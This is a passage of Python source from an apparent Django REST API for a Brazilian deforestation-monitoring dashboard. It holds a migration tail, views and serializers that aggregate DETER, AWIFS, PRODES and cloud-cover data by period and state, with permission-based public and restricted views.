models.CharField(blank=True, null=True, max_length=6)),\n ('cicatriz_fogo', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('corte_raso_deter', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('degradacao_deter', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('alta', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('leve', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('moderada', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('falso_positivo', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('nao_avaliado', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('deter_total', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('total_avaliado', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('porc_area_avaliada', models.SmallIntegerField(blank=True, null=True)),\n ('mesid', models.TextField(blank=True, null=True)),\n ],\n options={\n 'db_table': 'ibama\".\"vw_publica_deter_qualificado',\n 'managed': False,\n },\n ),\n migrations.CreateModel(\n name='TaxaNuvens',\n fields=[\n ('objectid', models.AutoField(primary_key=True, serialize=False)),\n ('mes', models.CharField(blank=True, null=True, max_length=10)),\n ('ano', models.SmallIntegerField(blank=True, null=True)),\n ('uf', models.CharField(blank=True, null=True, max_length=2)),\n ('area_km2', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=10)),\n ('porc_area_km2', models.DecimalField(blank=True, null=True, decimal_places=0, max_digits=2)),\n ('dat_cadastro', models.DateTimeField(blank=True, null=True)),\n ],\n options={\n 'db_table': 'ibama\".\"taxa_nuvem',\n 'managed': False,\n },\n ),\n migrations.CreateModel(\n name='TaxaNuvensAml',\n fields=[\n ('objectid', models.AutoField(primary_key=True, serialize=False)),\n ('dat_src', models.DateTimeField(blank=True, null=True)),\n ('f_area', models.DecimalField(blank=True, null=True, decimal_places=8, max_digits=38)),\n ('percent', models.DecimalField(blank=True, null=True, decimal_places=8, max_digits=38)),\n ('mes_maiusc', models.TextField(blank=True, null=True)),\n ('ano', models.SmallIntegerField(blank=True, null=True)),\n ],\n options={\n 'db_table': 'ibama\".\"vw_taxa_nuvem_aml',\n 'managed': False,\n },\n ),\n migrations.CreateModel(\n name='TaxaProdes',\n fields=[\n ('ano_prodes', models.CharField(blank=True, max_length=9, primary_key=True, serialize=False)),\n ('ac', models.DecimalField(blank=True, decimal_places=2, max_digits=7)),\n ('am', models.DecimalField(blank=True, decimal_places=2, max_digits=7)),\n ('ap', models.DecimalField(blank=True, decimal_places=2, max_digits=7)),\n ('ma', models.DecimalField(blank=True, decimal_places=2, max_digits=7)),\n ('mt', models.DecimalField(blank=True, decimal_places=2, max_digits=7)),\n ('pa', models.DecimalField(blank=True, decimal_places=2, max_digits=7)),\n ('ro', models.DecimalField(blank=True, decimal_places=2, max_digits=7)),\n ('rr', models.DecimalField(blank=True, decimal_places=2, max_digits=7)),\n ('to', models.DecimalField(blank=True, decimal_places=2, max_digits=7)),\n ],\n options={\n 'db_table': 'public\".\"taxa_prodes',\n 'managed': False,\n },\n ),\n ]\n" }, { "alpha_fraction": 0.5861989259719849, "alphanum_fraction": 0.5973920822143555, "avg_line_length": 32.69649887084961, "blob_id": "ea81f7d1e8f43133920fc610702c80ac78478103", "content_id": "a56da02186c547cd7a3517706e5b8144c821245d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8667, "license_type": "permissive", "max_line_length": 112, "num_lines": 257, "path": "/restApp/views.py", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "from rest_framework.generics import ListAPIView\n\n#from .models import DailyAlertaAwifs, DailyAlertaDeter\nfrom .serializers import *\nfrom loginApp.models import UserPermited\n\nfrom .filter_functions import filter_mapa\nfrom .utils import create_list\n\n\nclass grafico1(ListAPIView):\n queryset = [0]\n\n def get_serializer_class(self):\n tipo = self.request.GET.get('tipo', None)\n permited = bool(UserPermited.objects.filter(username=self.request.user.username))\n\n if tipo == 'AWIFS' and self.request.user.is_authenticated() and permited:\n serializer_class = DailyAlertaAwifsSerializer\n elif tipo == 'DETER' and self.request.user.is_authenticated() and permited:\n serializer_class = DailyAlertaDeterSerializer\n elif tipo == 'DETER' and not permited:\n serializer_class = PublicAlertaDeterSerializer\n elif tipo == 'DETER_QUALIF' and self.request.user.is_authenticated() and permited:\n serializer_class = DailyAlertaDeterSerializer\n elif tipo == 'DETER_QUALIF' and not permited:\n serializer_class = PublicAlertaDeterSerializer\n\n return serializer_class\n\n\nclass grafico2(ListAPIView):\n queryset = []\n\n def get_queryset(self):\n ano = self.request.GET.get('ano', None)\n mes = self.request.GET.get('mes', None)\n series = 2 + int(self.request.GET.get('frequencia',0)) if self.request.GET.get('frequencia',0) else 2\n \n if int(mes) > 7:\n queryset = [str(int(ano) - i) + '-' + str(int(ano) - i + 1) for i in range(0,series)]\n # queryset = [str(ano) + '-' + str((int(ano) + 1)), str((int(ano) - 1)) + '-' + str(ano)]\n else:\n queryset = [str(int(ano) - i - 1) + '-' + str(int(ano) - i) for i in range(0,series)]\n # queryset = [str((int(ano) - 1)) + '-' + str(ano), str((int(ano) - 2)) + '-' + str((int(ano) - 1))]\n\n return queryset\n\n def get_serializer_class(self):\n serializer_class = MontlySerializer\n\n return serializer_class\n\n\nclass grafico3(ListAPIView):\n queryset = ['Diferença','Parcial']\n\n def get_serializer_class(self):\n serializer_class = IndiceSerializer\n\n return serializer_class\n\n\nclass grafico4(ListAPIView):\n queryset = []\n\n def get_queryset(self):\n ano = self.request.GET.get('ano', None)\n mes = self.request.GET.get('mes', None)\n series = 2 + int(self.request.GET.get('frequencia',0)) if self.request.GET.get('frequencia',0) else 2\n \n if int(mes) > 7:\n queryset = [str(int(ano) - i) + '-' + str(int(ano) - i + 1) for i in range(0,series)]\n # queryset = [str(ano) + '-' + str((int(ano) + 1)), str((int(ano) - 1)) + '-' + str(ano)]\n else:\n queryset = [str(int(ano) - i - 1) + '-' + str(int(ano) - i) for i in range(0,series)]\n # queryset = [str((int(ano) - 1)) + '-' + str(ano), str((int(ano) - 2)) + '-' + str((int(ano) - 1))]\n\n return queryset\n\n def get_serializer_class(self):\n serializer_class = UFSerializer\n\n return serializer_class\n\n\nclass grafico5(ListAPIView):\n queryset = ['PRODES', 'DETER', 'AWIFS']\n\n def get_serializer_class(self):\n serializer_class = AcumuladoSerializer\n\n return serializer_class\n\n\nclass grafico6(ListAPIView):\n queryset = ['PRODES', 'DETER', 'AWIFS']\n\n def get_serializer_class(self):\n serializer_class = UFComparativoSerializer\n\n return serializer_class\n\n\nclass grafico7(ListAPIView):\n # queryset = ['2013-2014', '2014-2015']\n def get_queryset(self):\n ano = self.request.GET.get('ano', None)\n mes = self.request.GET.get('mes', None)\n series = 2 + int(self.request.GET.get('frequencia',0)) if self.request.GET.get('frequencia',0) else 2\n \n if int(mes) > 7:\n queryset = [str(int(ano) - i) + '-' + str(int(ano) - i + 1) for i in range(0,series)]\n # queryset = [str(ano) + '-' + str((int(ano) + 1)), str((int(ano) - 1)) + '-' + str(ano)]\n else:\n queryset = [str(int(ano) - i - 1) + '-' + str(int(ano) - i) for i in range(0,series)]\n # queryset = [str((int(ano) - 1)) + '-' + str(ano), str((int(ano) - 2)) + '-' + str((int(ano) - 1))]\n\n return queryset\n\n def get_serializer_class(self):\n serializer_class = NuvemSerializer\n\n return serializer_class\n\n\nclass grafico8(ListAPIView):\n # queryset = ['2015-2016']\n queryset = []\n\n def get_queryset(self):\n ano = self.request.GET.get('ano', None)\n mes = self.request.GET.get('mes', None)\n indice = self.request.GET.get('indice', 0)\n\n if int(mes) > 7:\n queryset = [str(int(ano) + int(indice)) + '-' + str((int(ano) + int(indice) + 1))]\n else:\n queryset = [str((int(ano) + int(indice) - 1)) + '-' + str(int(ano) + int(indice))]\n \n # if int(mes) > 7:\n # queryset = [str(ano) + '-' + str((int(ano) + 1)), str((int(ano) - 1)) + '-' + str(ano)]\n # else:\n # queryset = [str((int(ano) - 1)) + '-' + str(ano), str((int(ano) - 2)) + '-' + str((int(ano) - 1))]\n\n return queryset\n\n\n def get_serializer_class(self):\n serializer_class = UFPeriodoSerializer\n\n return serializer_class\n\n\nclass grafico9(ListAPIView):\n queryset = [0]\n\n def get_serializer_class(self):\n serializer_class = UFMesPeriodoSerializer\n\n return serializer_class\n\n \nclass gauge1(ListAPIView):\n def get_queryset(self):\n ano = self.request.GET.get('ano', None)\n return [int(ano)-1, int(ano)]\n\n def get_serializer_class(self):\n serializer_class = ComparativoPeriodosSerializer\n\n return serializer_class\n\n \nclass gauge2(ListAPIView):\n def get_queryset(self):\n ano = self.request.GET.get('ano', None)\n return [int(ano)-1, int(ano)]\n\n def get_serializer_class(self):\n serializer_class = ComparativoProdesPeriodosSerializer\n\n return serializer_class\n\n \nclass mapa(ListAPIView):\n\n def get_queryset(self):\n tipo = self.request.GET.get('tipo', None)\n estagio = self.request.GET.get('estagio', None)\n permited = bool(UserPermited.objects.filter(username=self.request.user.username))\n\n if tipo == 'AWIFS' and self.request.user.is_authenticated() and permited:\n queryset = DailyAlertaAwifs.objects.all().filter(estagio=estagio)\n queryset = filter_mapa(\n queryset, self.request.GET\n )\n queryset = queryset\n \n elif tipo == 'DETER' or tipo == 'DETER_QUALIF':\n if self.request.user.is_authenticated() and permited:\n queryset = DailyAlertaDeter.objects.all()\n\n elif not permited:\n queryset = PublicAlertaDeter.objects.all()\n\n queryset = filter_mapa(\n queryset, self.request.GET\n )\n queryset = queryset\n\n return queryset\n\n\n def get_serializer_class(self):\n tipo = self.request.GET.get('tipo', None)\n permited = bool(UserPermited.objects.filter(username=self.request.user.username))\n\n if tipo == 'AWIFS' and self.request.user.is_authenticated() and permited:\n serializer_class = DailyAwifsSerializer\n elif tipo == 'DETER' or tipo == 'DETER_QUALIF':\n if self.request.user.is_authenticated() and permited:\n serializer_class = DailyDeterSerializer\n elif not permited:\n serializer_class = PublicDeterSerializer\n\n return serializer_class\n\n\nclass cruzamentoGrafico1(ListAPIView):\n queryset = [0]\n\n def get_serializer_class(self):\n\n serializer_class = CruzamentoGrafico1Serializer\n\n return serializer_class\n\n\nclass cruzamentoGrafico2(ListAPIView):\n queryset = [0]\n\n def get_serializer_class(self):\n # tipo = self.request.GET.get('tipo', None)\n # permited = bool(UserPermited.objects.filter(username=self.request.user.username))\n\n serializer_class = CruzamentoGrafico2Serializer\n # elif tipo == 'DETER' and self.request.user.is_authenticated() and permited:\n # serializer_class = DailyAlertaDeterSerializer\n # elif tipo == 'DETER' and not permited:\n # serializer_class = PublicAlertaDeterSerializer\n # elif tipo == 'DETER_QUALIF' and self.request.user.is_authenticated() and permited:\n # serializer_class = DailyAlertaDeterSerializer\n # elif tipo == 'DETER_QUALIF' and not permited:\n # serializer_class = PublicAlertaDeterSerializer\n\n return serializer_class\n\n " }, { "alpha_fraction": 0.5635876059532166, "alphanum_fraction": 0.5674393177032471, "avg_line_length": 37.82376480102539, "blob_id": "2d452622e41108c519962e3a688d3927321b2dae", "content_id": "c36dd5dfb05209bc1e9b41c3e723b42f98a10606", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 29103, "license_type": "permissive", "max_line_length": 186, "num_lines": 749, "path": "/restApp/serializers.py", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom rest_framework.serializers import ModelSerializer, SerializerMethodField, BaseSerializer\nfrom rest_framework_gis.serializers import GeoFeatureModelSerializer\n\nfrom django.db.models import Sum, Count\nfrom decimal import *\n\nfrom .models import *\nfrom loginApp.models import UserPermited\n\nfrom .utils import get_reverse_month, belongs_prodes, get_prodes,get_month\nfrom .filter_functions import *\n\n\n\nclass DailyAlertaAwifsSerializer(ModelSerializer):\n data = SerializerMethodField()\n\n class Meta:\n model = DailyAlertaAwifs\n fields = ['data']\n\n def get_data(self, obj):\n queryset = DailyAlertaAwifs.objects.values('data_imagem', 'area_km2')\n queryset = filter_daily_total(\n queryset, self.context['request'].GET\n )\n return queryset\n\n\nclass DailyAlertaDeterSerializer(ModelSerializer):\n data = SerializerMethodField()\n\n class Meta:\n model = DailyAlertaDeter\n fields = ['data']\n\n def get_data(self, obj):\n queryset = DailyAlertaDeter.objects.values('data_imagem', 'area_km2')\n queryset = filter_daily_total(\n queryset, self.context['request'].GET\n )\n return queryset\n\n\nclass PublicAlertaDeterSerializer(ModelSerializer):\n data = SerializerMethodField()\n\n class Meta:\n model = PublicAlertaDeter\n fields = ['data']\n\n def get_data(self, obj):\n queryset = PublicAlertaDeter.objects.values('data_imagem', 'area_km2')\n queryset = filter_daily_total(\n queryset, self.context['request'].GET\n )\n return queryset\n\n\nclass DailyAlertaDeterQualifSerializer(ModelSerializer):\n data = SerializerMethodField()\n\n class Meta:\n model = DailyAlertaDeterQualif\n fields = ['data']\n\n def get_data(self, obj):\n queryset = DailyAlertaDeterQualif.objects.values('mes_ano', 'cicatriz_fogo', 'corte_raso_deter', 'degradacao_deter')\n queryset = filter_daily_total(\n queryset, self.context['request'].GET, True\n )\n return queryset\n\n\nclass MontlySerializer(BaseSerializer):\n def to_representation(self, obj):\n tipo = self.context['request'].GET.get('tipo', None)\n permited = bool(UserPermited.objects.filter(username=self.context['request'].user.username))\n isQualif = False;\n\n if tipo == 'AWIFS' and self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaAwifs.objects.filter(periodo_prodes=obj)\n elif tipo == 'DETER' and self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaDeter.objects.filter(periodo_prodes=obj)\n elif tipo == 'DETER' and not permited:\n queryset = PublicAlertaDeter.objects.filter(periodo_prodes=obj)\n elif tipo == 'DETER_QUALIF' and self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaDeterQualif.objects.filter(periodo_prodes=obj)\n isQualif = True;\n elif tipo == 'DETER_QUALIF' and not permited:\n queryset = PublicAlertaDeterQualif.objects.filter(periodo_prodes=obj)\n isQualif = True;\n\n\n # queryset = DailyAlertaDeterQualif.objects.filter(periodo_prodes=obj)\n queryset = filter_montly_total(\n queryset, self.context['request'].GET, isQualif\n )\n return {\n 'periodo': obj,\n 'data': queryset,\n }\n\n\nclass IndiceSerializer(BaseSerializer):\n def to_representation(self, obj):\n tipo = self.context['request'].GET.get('tipo', None)\n estagio = self.context['request'].GET.get('estagio', None)\n mes = self.context['request'].GET.get('mes', None)\n ano = self.context['request'].GET.get('ano', None)\n series = 2 + int(self.context['request'].GET.get('frequencia',0)) if self.context['request'].GET.get('frequencia',0) else 2\n\n hasStage = False;\n\n seriesRange = list(range(-1 * series, 0))\n seriesRange.reverse()\n\n periodos = [get_prodes(mes, ano, i + 1) for i in seriesRange]\n permited = bool(UserPermited.objects.filter(username=self.context['request'].user.username))\n # periodos = [str(2015 - i) + '-' + str(2016-i) for i in range(0,series)]\n # periodos = ['2015-2016','2014-2015'];\n\n data = []\n\n for per in periodos:\n if tipo == 'AWIFS' and self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaAwifs.objects.filter(periodo_prodes=per)\n hasStage = True;\n elif tipo == 'DETER' and self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaDeter.objects.filter(periodo_prodes=per)\n elif tipo == 'DETER' and not permited:\n queryset = PublicAlertaDeter.objects.filter(periodo_prodes=per)\n elif tipo == 'DETER_QUALIF' and self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaDeterQualif.objects.filter(periodo_prodes=per)\n elif tipo == 'DETER_QUALIF' and not permited:\n queryset = PublicAlertaDeterQualif.objects.filter(periodo_prodes=per)\n\n if obj == 'Diferença':\n queryset = filter_indice_total(queryset, self.context['request'].GET, hasStage)\n else:\n queryset = filter_indice_parcial(queryset, self.context['request'].GET, hasStage)\n\n\n if tipo == 'AWIFS' or tipo == 'DETER':\n indice = queryset.aggregate(total=Sum('area_km2'))\n else:\n if estagio == 'Corte Raso':\n indice = queryset.aggregate(total=Sum('corte_raso_deter'))\n elif estagio == 'Degradação':\n indice = queryset.aggregate(total=Sum('degradacao_deter'))\n else:\n indice = queryset.aggregate(total=Sum('cicatriz_fogo'))\n\n indice['periodo'] = per\n data.append(indice) \n\n\n return {\n 'tipo': obj,\n 'data': data,\n }\n\n\nclass UFSerializer(BaseSerializer):\n def to_representation(self, obj):\n tipo = self.context['request'].GET.get('tipo', None)\n logged = self.context['request'].GET.get('logged', False)\n isQualif = False;\n permited = bool(UserPermited.objects.filter(username=self.context['request'].user.username))\n\n if tipo == 'AWIFS' and self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaAwifs.objects.filter(periodo_prodes=obj)\n elif (tipo == 'DETER' or 'DETER_QUALIF') and self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaDeter.objects.filter(periodo_prodes=obj)\n elif (tipo == 'DETER' or 'DETER_QUALIF') and not permited:\n queryset = PublicAlertaDeter.objects.filter(periodo_prodes=obj)\n # elif tipo == 'DETER_QUALIF':\n # queryset = DailyAlertaDeterQualif.objects.filter(periodo_prodes=obj)\n # isQualif = True;\n\n\n # queryset = DailyAlertaDeterQualif.objects.filter(periodo_prodes=obj)\n queryset = filter_uf_total(\n queryset, self.context['request'].GET, isQualif\n )\n return {\n 'periodo': obj,\n 'data': queryset,\n }\n\n\nclass AcumuladoSerializer(BaseSerializer):\n def to_representation(self, obj):\n uf = self.context['request'].GET.get('uf', None)\n permited = bool(UserPermited.objects.filter(username=self.context['request'].user.username))\n\n if obj == 'PRODES':\n queryset = TaxaProdes.objects.all().order_by('-ano_prodes')\n\n if uf != '':\n queryset = [{'periodo_prodes': i.ano_prodes.replace('/','-'), 'total': getattr(i,uf.lower())} for i in queryset]\n else:\n queryset = [{'periodo_prodes': i.ano_prodes.replace('/','-'), 'total': i.total()} for i in queryset]\n\n queryset = list(queryset[:13])\n # queryset.reverse()\n\n elif obj == 'DETER' and self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaDeter.objects\n queryset = filter_acumulado_uf(\n queryset, self.context['request'].GET\n )\n queryset = queryset.values('periodo_prodes').annotate(total=Sum('area_km2')).order_by('-periodo_prodes')\n\n elif obj == 'DETER' and not permited:\n queryset = PublicAlertaDeter.objects\n queryset = filter_acumulado_uf(\n queryset, self.context['request'].GET\n )\n queryset = queryset.values('periodo_prodes').annotate(total=Sum('area_km2')).order_by('-periodo_prodes')\n\n elif obj == 'AWIFS' and self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaAwifs.objects\n queryset = filter_acumulado_uf(\n queryset, self.context['request'].GET\n )\n queryset = queryset.filter(estagio='Corte Raso').values('periodo_prodes').annotate(total=Sum('area_km2')).order_by('-periodo_prodes')\n\n elif obj == 'AWIFS' and not permited:\n queryset = []\n\n\n return {\n 'taxa': obj,\n 'data': queryset,\n }\n\n\nclass UFComparativoSerializer(BaseSerializer):\n def to_representation(self, obj):\n uf = self.context['request'].GET.get('uf', None)\n indice = self.context['request'].GET.get('indice', 0)\n mes = self.context['request'].GET.get('mes', None)\n ano = self.context['request'].GET.get('ano', None)\n \n # if int(mes) > 7:\n # prodes = str(ano) + '-' + str(int(ano) + 1)\n # else:\n # prodes = str((int(ano) - 1)) + '-' + str(ano)\n\n # prodes = '2015-2016'\n # prodes = str(2015 + int(indice)) + '-' + str(2016 + int(indice))\n prodes = get_prodes(mes, ano, indice)\n permited = bool(UserPermited.objects.filter(username=self.context['request'].user.username))\n\n\n if obj == 'AWIFS' and self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaAwifs.objects.all().filter(periodo_prodes=prodes,estagio='Corte Raso')\n queryset = filter_uf_comparativo(\n queryset, self.context['request'].GET\n )\n queryset = queryset.values('estado').annotate(total=Sum('area_km2'))\n\n if obj == 'AWIFS' and not permited:\n queryset = []\n\n elif obj == 'DETER' and self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaDeter.objects.all().filter(periodo_prodes=prodes)\n queryset = filter_uf_comparativo(\n queryset, self.context['request'].GET\n )\n queryset = queryset.values('estado').annotate(total=Sum('area_km2'))\n\n elif obj == 'DETER' and not permited:\n queryset = PublicAlertaDeter.objects.all().filter(periodo_prodes=prodes)\n queryset = filter_uf_comparativo(\n queryset, self.context['request'].GET\n )\n queryset = queryset.values('estado').annotate(total=Sum('area_km2'))\n\n elif obj == 'PRODES':\n queryset = TaxaProdes.objects.all().filter(ano_prodes=prodes.replace('-','/')).order_by('-ano_prodes')\n\n if len(queryset) > 0:\n if uf != '':\n queryset = [{'estado': uf, 'total': round(getattr(i,uf.lower()),2)} for i in queryset]\n else:\n queryset = [[{'total': round(getattr(i,p),2),'estado': p.upper()} for p in i.attributes()] for i in queryset]\n \n queryset = list(queryset[:1])[0]\n else:\n if uf != '':\n queryset = [{'estado': uf, 'total': 0}]\n else:\n queryset = [{'estado': 'AC', 'total': 0},\n {'estado': 'AM', 'total': 0},\n {'estado': 'AP', 'total': 0},\n {'estado': 'MA', 'total': 0},\n {'estado': 'MT', 'total': 0},\n {'estado': 'PA', 'total': 0},\n {'estado': 'RO', 'total': 0},\n {'estado': 'RR', 'total': 0},\n {'estado': 'TO', 'total': 0}]\n\n\n return {\n 'taxa': obj,\n 'data': queryset,\n }\n\n\nclass NuvemSerializer(BaseSerializer):\n def to_representation(self, obj):\n \n prodes = [int(obj.split('-')[0]), int(obj.split('-')[1])]\n uf = self.context['request'].GET.get('uf', None)\n queryset = None\n\n if (uf):\n queryset = TaxaNuvens.objects.all() \n else:\n queryset = TaxaNuvensAml.objects.all() \n\n queryset = filter_uf_nuvem(\n queryset, self.context['request'].GET\n )\n\n if (uf):\n queryset = queryset.values('mes','ano', 'porc_area_km2').filter(uf=uf)\n # queryset = [{'mes': get_reverse_month(qs['mes']),'total': int(qs['porc_area_km2'])} for qs in queryset if belongs_prodes(qs,prodes)]\n else:\n queryset = queryset.values('mes','ano', 'porc_area_km2')\n # queryset = [{'mes': get_reverse_month(qs['mes']),'total': int(qs['porc_area_km2'] * 100)} for qs in queryset if belongs_prodes(qs,prodes)]\n \n queryset = [{'mes': get_reverse_month(qs['mes']),'total': (int(qs['porc_area_km2']) if not qs['porc_area_km2'].is_nan() else 0) } for qs in queryset if belongs_prodes(qs,prodes)]\n\n\n # else:\n # queryset = TaxaNuvensAml.objects.all() \n\n # queryset = filter_uf_nuvem(\n # queryset, self.context['request'].GET\n # )\n\n # queryset = queryset.values('mes','ano', 'porc_area_km2').filter(uf=uf)\n\n return {\n 'taxa': obj,\n 'data': queryset,\n }\n\n\nclass UFPeriodoSerializer(BaseSerializer):\n def to_representation(self, obj):\n tipo = self.context['request'].GET.get('tipo', None)\n permited = bool(UserPermited.objects.filter(username=self.context['request'].user.username))\n\n if (tipo == 'DETER' or tipo == 'DETER_QUALIF') and self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaDeter.objects.all().filter(periodo_prodes=obj)\n queryset = queryset.values('estado').annotate(total=Sum('area_km2'))\n if (tipo == 'DETER' or tipo == 'DETER_QUALIF') and not permited:\n queryset = PublicAlertaDeter.objects.all().filter(periodo_prodes=obj)\n queryset = queryset.values('estado').annotate(total=Sum('area_km2'))\n elif tipo == 'AWIFS' and self.context['request'].user.is_authenticated() and permited:\n estagio = self.context['request'].GET.get('estagio', None)\n queryset = DailyAlertaAwifs.objects.all().filter(periodo_prodes=obj).filter(estagio=estagio)\n queryset = queryset.values('estado').annotate(total=Sum('area_km2'))\n\n return {'data': queryset.order_by('total')}\n\n\nclass UFMesPeriodoSerializer(BaseSerializer):\n def to_representation(self, obj):\n tipo = self.context['request'].GET.get('tipo', None)\n permited = bool(UserPermited.objects.filter(username=self.context['request'].user.username))\n\n if (tipo == 'DETER' or tipo == 'DETER_QUALIF') and self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaDeter.objects.all()\n queryset = filter_uf_periodo_mensal(\n queryset, self.context['request'].GET, obj\n )\n queryset = queryset.values('estado').annotate(total=Sum('area_km2'))\n if (tipo == 'DETER' or tipo == 'DETER_QUALIF') and not permited:\n queryset = PublicAlertaDeter.objects.all()\n queryset = filter_uf_periodo_mensal(\n queryset, self.context['request'].GET, obj\n )\n queryset = queryset.values('estado').annotate(total=Sum('area_km2'))\n elif tipo == 'AWIFS' and self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaAwifs.objects.all()\n queryset = filter_uf_periodo_mensal(\n queryset, self.context['request'].GET, obj\n )\n queryset = queryset.values('estado').annotate(total=Sum('area_km2'))\n\n\n return {'data': queryset.order_by('total')}\n\n\nclass ComparativoPeriodosSerializer(BaseSerializer):\n def to_representation(self,obj):\n\n tipo = self.context['request'].GET.get('tipo', None)\n estagio = self.context['request'].GET.get('estagio', None)\n permited = bool(UserPermited.objects.filter(username=self.context['request'].user.username))\n\n if tipo == 'AWIFS' and self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaAwifs.objects.all().filter(estagio=estagio)\n queryset = filter_comparativo(\n queryset, self.context['request'].GET, obj\n )\n queryset = queryset.values('ano').annotate(total=Sum('area_km2'))\n \n elif tipo == 'DETER':\n if self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaDeter.objects.all()\n\n elif not permited:\n queryset = PublicAlertaDeter.objects.all()\n\n queryset = filter_comparativo(\n queryset, self.context['request'].GET, obj\n )\n queryset = queryset.values('ano').annotate(total=Sum('area_km2'))\n\n\n elif tipo == 'DETER_QUALIF': \n if self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaDeterQualif.objects.all()\n \n elif not permited:\n queryset = PublicAlertaDeterQualif.objects.all()\n\n queryset = filter_comparativo(\n queryset, self.context['request'].GET, obj, True\n )\n\n if estagio == 'Corte Raso':\n queryset = queryset.values('ano').annotate(total=Sum('corte_raso_deter'))\n elif estagio == 'Cicatriz de Queimada':\n queryset = queryset.values('ano').annotate(total=Sum('cicatriz_fogo'))\n elif estagio == 'Degradação':\n queryset = queryset.values('ano').annotate(total=Sum('degradacao_deter'))\n\n\n if queryset:\n return queryset[0]\n else:\n return {'ano': obj, 'total': 0.0}\n\n\nclass ComparativoProdesPeriodosSerializer(BaseSerializer):\n def to_representation(self,obj):\n\n tipo = self.context['request'].GET.get('tipo', None)\n estagio = self.context['request'].GET.get('estagio', None)\n permited = bool(UserPermited.objects.filter(username=self.context['request'].user.username))\n\n if tipo == 'AWIFS' and self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaAwifs.objects.all().filter(estagio=estagio)\n queryset = filter_comparativo_prodes(\n queryset, self.context['request'].GET, obj\n )\n queryset = queryset.values('periodo_prodes').annotate(total=Sum('area_km2'))\n \n elif tipo == 'DETER':\n if self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaDeter.objects.all()\n\n elif not permited:\n queryset = PublicAlertaDeter.objects.all()\n\n queryset = filter_comparativo_prodes(\n queryset, self.context['request'].GET, obj\n )\n queryset = queryset.values('periodo_prodes').annotate(total=Sum('area_km2'))\n\n\n elif tipo == 'DETER_QUALIF': \n if self.context['request'].user.is_authenticated() and permited:\n queryset = DailyAlertaDeterQualif.objects.all()\n \n elif not permited:\n queryset = PublicAlertaDeterQualif.objects.all()\n\n queryset = filter_comparativo_prodes(\n queryset, self.context['request'].GET, obj, True\n )\n\n if estagio == 'Corte Raso':\n queryset = queryset.values('periodo_prodes').annotate(total=Sum('corte_raso_deter'))\n elif estagio == 'Cicatriz de Queimada':\n queryset = queryset.values('periodo_prodes').annotate(total=Sum('cicatriz_fogo'))\n elif estagio == 'Degradação':\n queryset = queryset.values('periodo_prodes').annotate(total=Sum('degradacao_deter'))\n\n\n if queryset:\n return queryset[0]\n else:\n return {'ano': obj, 'total': 0.0}\n\n\nclass PublicDeterSerializer(GeoFeatureModelSerializer):\n data = SerializerMethodField()\n\n class Meta:\n model = PublicAlertaDeter\n geo_field = 'geom'\n\n # def get_data(self, obj):\n # queryset = self.model.objects\n # queryset = filter_mapa(\n # queryset, self.context['request'].GET\n # )\n # return queryset\n\n\nclass DailyDeterSerializer(GeoFeatureModelSerializer):\n\n class Meta:\n model = DailyAlertaDeter\n geo_field = 'geom'\n\n # def get_data(self, obj):\n # queryset = self.model.objects\n # queryset = filter_mapa(\n # queryset, self.context['request'].GET\n # )\n # return queryset\n\n\nclass PublicDeterQualifSerializer(GeoFeatureModelSerializer):\n\n class Meta:\n model = PublicAlertaDeterQualif\n geo_field = 'geom'\n\n # def get_data(self, obj):\n # queryset = self.model.objects\n # queryset = filter_mapa(\n # queryset, self.context['request'].GET, True\n # )\n # return queryset\n\n\nclass DailyDeterQualifSerializer(GeoFeatureModelSerializer):\n\n class Meta:\n model = DailyAlertaDeterQualif\n geo_field = 'geom'\n\n # def get_data(self, obj):\n # queryset = self.model.objects\n # queryset = filter_mapa(\n # queryset, self.context['request'].GET, True\n # )\n # return queryset\n\n\nclass DailyAwifsSerializer(GeoFeatureModelSerializer):\n\n class Meta:\n model = DailyAlertaAwifs\n geo_field = 'geom'\n\n # def get_data(self, obj):\n # queryset = self.model.objects\n # queryset = filter_mapa(\n # queryset, self.context['request'].GET\n # )\n # return queryset\n\n\nclass CruzamentoGrafico1Serializer(BaseSerializer):\n def to_representation(self,obj):\n\n tipo = self.context['request'].GET.get('tipo', None)\n permited = bool(UserPermited.objects.filter(username=self.context['request'].user.username))\n\n\n # if tipo == 'Alerta DETER' or tipo == 'Alerta AWiFS':\n # queryset = filter_cruzamento_alerta(\n # CruzamentoAlerta.objects.all(), self.context['request'].GET\n # )\n # else:\n # queryset = [];\n \n if self.context['request'].user.is_authenticated() and 